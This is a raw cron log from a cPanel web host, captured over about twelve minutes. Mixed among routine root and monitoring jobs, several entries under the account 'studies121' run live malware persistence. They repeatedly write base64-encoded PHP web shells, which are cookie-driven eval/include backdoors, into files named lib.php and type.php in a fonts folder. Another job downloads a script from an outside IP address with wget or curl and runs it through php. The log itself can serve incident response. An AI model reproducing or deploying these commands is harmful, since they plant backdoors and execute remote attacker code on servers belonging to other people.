Sep 12 22:14:01 ip-184-168-122-23 CROND[1028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:15:01 ip-184-168-122-23 CROND[1144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:15:01 ip-184-168-122-23 CROND[1146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:15:01 ip-184-168-122-23 CROND[1147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:15:01 ip-184-168-122-23 CROND[1149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:15:01 ip-184-168-122-23 CROND[1151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:15:01 ip-184-168-122-23 CROND[1152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:15:01 ip-184-168-122-23 CROND[1150]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 22:16:01 ip-184-168-122-23 CROND[1350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:16:01 ip-184-168-122-23 CROND[1353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:16:01 ip-184-168-122-23 CROND[1352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:16:01 ip-184-168-122-23 CROND[1354]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:16:01 ip-184-168-122-23 CROND[1355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:16:01 ip-184-168-122-23 CROND[1356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:17:01 ip-184-168-122-23 CROND[1488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:17:01 ip-184-168-122-23 CROND[1490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:17:01 ip-184-168-122-23 CROND[1491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:17:01 ip-184-168-122-23 CROND[1493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:18:01 ip-184-168-122-23 CROND[1599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:18:01 ip-184-168-122-23 CROND[1600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:18:01 ip-184-168-122-23 CROND[1603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:18:01 ip-184-168-122-23 CROND[1604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:18:01 ip-184-168-122-23 CROND[1602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:19:01 ip-184-168-122-23 CROND[1694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:19:01 ip-184-168-122-23 CROND[1695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:19:01 ip-184-168-122-23 CROND[1697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:19:01 ip-184-168-122-23 CROND[1696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:20:01 ip-184-168-122-23 CROND[1793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:20:01 ip-184-168-122-23 CROND[1795]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:20:01 ip-184-168-122-23 CROND[1796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:20:01 ip-184-168-122-23 CROND[1797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:20:01 ip-184-168-122-23 CROND[1802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:20:01 ip-184-168-122-23 CROND[1806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:20:01 ip-184-168-122-23 CROND[1804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:20:01 ip-184-168-122-23 CROND[1805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:20:01 ip-184-168-122-23 CROND[1809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:21:01 ip-184-168-122-23 CROND[1992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:21:01 ip-184-168-122-23 CROND[1994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:21:01 ip-184-168-122-23 CROND[1996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:21:01 ip-184-168-122-23 CROND[1998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:22:01 ip-184-168-122-23 CROND[2094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:22:01 ip-184-168-122-23 CROND[2097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:22:01 ip-184-168-122-23 CROND[2095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:22:01 ip-184-168-122-23 CROND[2099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:22:01 ip-184-168-122-23 CROND[2096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:23:01 ip-184-168-122-23 CROND[2199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:23:01 ip-184-168-122-23 CROND[2201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:23:01 ip-184-168-122-23 CROND[2200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:23:01 ip-184-168-122-23 CROND[2202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:24:01 ip-184-168-122-23 CROND[2295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:24:01 ip-184-168-122-23 CROND[2297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:24:01 ip-184-168-122-23 CROND[2296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:24:01 ip-184-168-122-23 CROND[2294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:24:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:25:02 ip-184-168-122-23 CROND[2399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:25:02 ip-184-168-122-23 CROND[2401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:25:02 ip-184-168-122-23 CROND[2403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:25:02 ip-184-168-122-23 CROND[2402]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 22:25:02 ip-184-168-122-23 CROND[2404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:25:02 ip-184-168-122-23 CROND[2405]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:25:02 ip-184-168-122-23 CROND[2410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:26:01 ip-184-168-122-23 CROND[2504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:26:01 ip-184-168-122-23 CROND[2506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:26:01 ip-184-168-122-23 CROND[2505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:26:01 ip-184-168-122-23 CROND[2507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
